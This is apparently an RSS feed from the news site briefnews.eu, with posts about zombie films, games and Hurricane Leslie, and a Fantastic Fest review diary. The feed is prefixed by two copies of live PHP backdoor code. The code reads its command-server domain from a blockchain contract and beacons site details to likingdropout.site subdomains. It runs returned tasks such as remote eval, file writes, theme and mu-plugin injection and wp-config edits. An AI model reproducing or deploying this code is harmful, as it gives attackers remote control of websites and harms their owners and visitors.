// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘zombie’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Nov 2018 09:25:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘zombie’ – Brief News https://briefnews.eu 32 32 New ‘Anna and the Apocalypse’ Music Video Makes Being a Soldier in a Zombie War Sound Catchy https://briefnews.eu/new-anna-and-the-apocalypse-music-video-makes-being-a-soldier-in-a-zombie-war-sound-catchy/ https://briefnews.eu/new-anna-and-the-apocalypse-music-video-makes-being-a-soldier-in-a-zombie-war-sound-catchy/#respond Sun, 25 Nov 2018 09:25:36 +0000 http://briefnews.eu/new-anna-and-the-apocalypse-music-video-makes-being-a-soldier-in-a-zombie-war-sound-catchy/ anna and the apocalypse music video

So this is how the zombie apocalypse will go down: in song. Anna and the Apocalypse, the acclaimed horror-musical-comedy that broke everyone’s brains at Fantastic Fest (in a good way), has a new music video for the song “Soldier at War,” performed by Ben Wiggins. In the new Anna and the Apocalypse music video, we see how the residents of the sleepy town of Little Haven deal with the zombie apocalypse.

Anna and the Apocalypse Music Video

The music video for “Soldier at War” is a gleeful bloodbath, depicting the events of the zombie apocalypse that descends upon the sleepy town of Little Haven — in song! It’s the second music video released by MGM, and comes just in time for the holidays, a.k.a. the best time to watch a zombie slaughter.

Based on a BAFTA-winning short film called Zombie Musical, Anna and the Apocalypse is a Scottish zombie Christmas musical comedy that sounds like a punchline to a joke, but earned all kinds of critical raves when it premiered at Fantastic Fest last year.  /Film’s own Jacob Hall called it a “fully realized musical horror movie with actual stakes…and the nerve to literally tear its lovable cast to pieces.”

The film is directed by John McPhail, written by Alan McDonald and the late Ryan McHenry, and features original music by Roddy Hart and Tommy Reilly.

Watch the full trailer right here, and read the Fantastic Fest synopsis:

Teenage Anna’s life is typical enough. Chafing against the narrow horizons of her small town, she dreams of bigger things. It’s not so much that she doesn’t love her friends and family — she does — it’s just that they’re all so… familiar. So typical. So predictable. Her childhood best friend aches for a romance that she has no interest in, no matter how close they might be. The school jock that she had a fling with is proving to be disappointingly predictable in his behavior. And it’s becoming progressively harder for Anna to conceal her disappointment with just how satisfied her widower-father is with the blue collar simplicity of his never-changing existence. And then it all goes to shit.

The night of the high school Christmas concert marks the arrival of the undead in Anna’s small town. And so begins a struggle to band together and survive. Future dreams are forced aside by the overwhelming need to survive the present in this winning Scottish musical-horror-comedy.

Anna and the Apocalypse hits theaters on November 30, 2018.

The post New ‘Anna and the Apocalypse’ Music Video Makes Being a Soldier in a Zombie War Sound Catchy appeared first on /Film.

]]> https://briefnews.eu/new-anna-and-the-apocalypse-music-video-makes-being-a-soldier-in-a-zombie-war-sound-catchy/feed/ 0 Make sure you’re not investing in zombie AI https://briefnews.eu/make-sure-youre-not-investing-in-zombie-ai/ https://briefnews.eu/make-sure-youre-not-investing-in-zombie-ai/#respond Sat, 03 Nov 2018 19:49:38 +0000 http://briefnews.eu/make-sure-youre-not-investing-in-zombie-ai/

Many AI solutions are a ‘black box’ to users. Software developers and marketers often lead customers to believe there’s intelligence in the box, when in fact it may just be a hard-wired zombie.Read More

]]> https://briefnews.eu/make-sure-youre-not-investing-in-zombie-ai/feed/ 0 PS4 zombie thriller ‘Days Gone’ delayed yet again https://briefnews.eu/ps4-zombie-thriller-days-gone-delayed-yet-again/ https://briefnews.eu/ps4-zombie-thriller-days-gone-delayed-yet-again/#respond Fri, 19 Oct 2018 10:42:32 +0000 http://briefnews.eu/ps4-zombie-thriller-days-gone-delayed-yet-again/

You’ll have to wait a bit longer to mow down zombies (sorry, Freakers) on the upcoming PS4 action-survival game Days Gone. Sony is again pushing back the exclusive title from its slated February 22nd release date to April 26th. The game was originally supposed to arrive in 2018.

The delay lifts the game out of what Sony describes as a “crowded” timeframe (Anthem and Crackdown 3 arrive the same month) and is intended to give Bend Studio more time to “polish” things up. Days Gone is the developer’s first title since 2012, so it will undoubtedly want to get it right.

Set in the Pacific Northwest, the open-world game sees players shooting marauding Freakers while riding around on a drifter motorbike. If that sounds formulaic, it’s probably because it is. Engadget‘s Andrew Tarantola went hands-on with a demo last year, highlighting frame rate issues and a spiritless plot. It’s probably too late to fix the latter, but at least the lag gives Bend Studio time to iron out those visual creases.

Source: PlayStation Blog

]]> https://briefnews.eu/ps4-zombie-thriller-days-gone-delayed-yet-again/feed/ 0 ‘Zombie’ Hurricane Leslie Approaches Europe; Travel Waivers Issued https://briefnews.eu/zombie-hurricane-leslie-approaches-europe-travel-waivers-issued/ https://briefnews.eu/zombie-hurricane-leslie-approaches-europe-travel-waivers-issued/#respond Sat, 13 Oct 2018 18:55:23 +0000 http://briefnews.eu/zombie-hurricane-leslie-approaches-europe-travel-waivers-issued/

‘Zombie’ Hurricane Leslie Approaches Europe; Travel Waivers Issued

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]]> https://briefnews.eu/zombie-hurricane-leslie-approaches-europe-travel-waivers-issued/feed/ 0 Fantastic Fest Day 2: ‘Border’ is a Beautifully Executed Bad Idea, ‘Apostle’ Delivers Vicious Thrills, and ‘One Cut of the Dead’ is the Best Zombie Comedy in Years https://briefnews.eu/fantastic-fest-day-2-border-is-a-beautifully-executed-bad-idea-apostle-delivers-vicious-thrills-and-one-cut-of-the-dead-is-the-best-zombie-come/ https://briefnews.eu/fantastic-fest-day-2-border-is-a-beautifully-executed-bad-idea-apostle-delivers-vicious-thrills-and-one-cut-of-the-dead-is-the-best-zombie-come/#respond Sat, 22 Sep 2018 18:19:38 +0000 http://briefnews.eu/fantastic-fest-day-2-border-is-a-beautifully-executed-bad-idea-apostle-delivers-vicious-thrills-and-one-cut-of-the-dead-is-the-best-zombie-come/ Fantastic Fest 2018 Recap Day 2

(Welcome to The Fantastic Fest Diaries, where we will be chronicling every single movie we see at the United States’ largest genre film festival.)

Welcome to Fantastic Fest, day two. In this diary entry: a deranged stop-motion allegory, an unpredictable thriller from the writer of Let the Right One In, a new horror movie from The Raid director Gareth Evans, quite possibly the best comedy of 2018, and a horror movie with an auspicious title.

The Wolf House is a Stop-Motion Nightmare With Big Ideas

It feels impossible to openly recommend The Wolf House, but it’s also a movie that I would never discourage anyone from seeing. Directors Joaquín Cociña and Cristóbal León have made something unique and singular, a movie that feels like a sinister artifact rather than a modern piece of entertainment. It is challenging, slow-moving and difficult. It is also unlike anything I have ever seen or will ever see again.

How do you explain this film in a bite-sized sentence? You cannot. The prologue sets the stage: Once upon a time, there existed in Chile a German commune, whose citizens lived in isolation from the rest of the nation. To explain their personal ethos, their way of life, they made a movie called The Wolf House, a stop-motion fable about what happened when a young girl living among them disobeyed their rules and was punished with 100 days and nights of isolation in the woods. Now, we’re watching a “restored” version of this lost movie.

Of course, none of that is real, but the mere suggestion that we’re watching a niche piece of history rather than a modern art project lends to the film’s sinister undertones. There are no actual characters in The Wolf House and no real narrative. This is 73 minutes of Cociña and León guiding us through a bad dream, where scratchy 2D animation and homemade stop-motion mingle in constantly shifting, one-shot world. Environments evolve and decay before our eyes, character designs shift and mutate as necessary. There’s a tactile nature to the film – you feel like you can touch everything on the screen and the results are haunting and grotesque.

Eventually, the truth about The Wolf House begins to emerge. The film never holds your hand and never feels the need to fill in the gaps about the intentions of its fictional makers, but anyone with a passing knowledge of 20th century world history will figure it out. And it’s chilling. But for all of its visual marvels, for all of its (for lack of a more eloquent term) fucked-up revelations, The Wolf House is a chore. However, it being a chore is part of the grand design. You’re not supposed to have fun. You’re supposed to let this movie happen to you. If you’re willing to endure it, there’s something powerful here.

Border is a Terrible Idea Executed With Grace and Beauty

I’ll be quite frank: if you had told me what Border was actually about, where director Ali Abbasi’s new film goes during its slow-moving but entrancing 108-minute running time, I would have actively avoided it. On paper, it’s a premise that makes my eyes roll into the back of my head with such force that my brain rattles. In execution, it’s the best film of its kind since Pan’s Labyrinth or Let the Right One In, a genre-redefining drama that straddles fantasy and reality in ways both beautiful and chilling.

So I’m going to dance around the details here and encourage you to do the same (even the Fantastic Fest programming team deliberately left any hard plot details out of the official synopsis). Just trust me when I say that this film pays off its early mysteries with a grace that shook me, moved me, and left me spellbound.

Eva Melander stars as Tina, a border agent with a sixth sense for detecting smugglers. One day, a man comes through her station and she knows something about him is different, something wrong, but she can’t place it. The ensuing mystery changes her world forever.

And really, that’s all you should know. But know that Melander’s performance is tender and brave, and she’s asked to sell concepts that have no right to work in an capacity. Yet they do work, because she finds humanity in the unnatural. Buried under piles of latex (Tina has a chromosome that has left her with an unnatural physical appearance), Melander is joyful and heartbreaking, warm and chilling – it’s a performance that deserves a long, deep examination and appreciation. But once again, we have to dance around why.

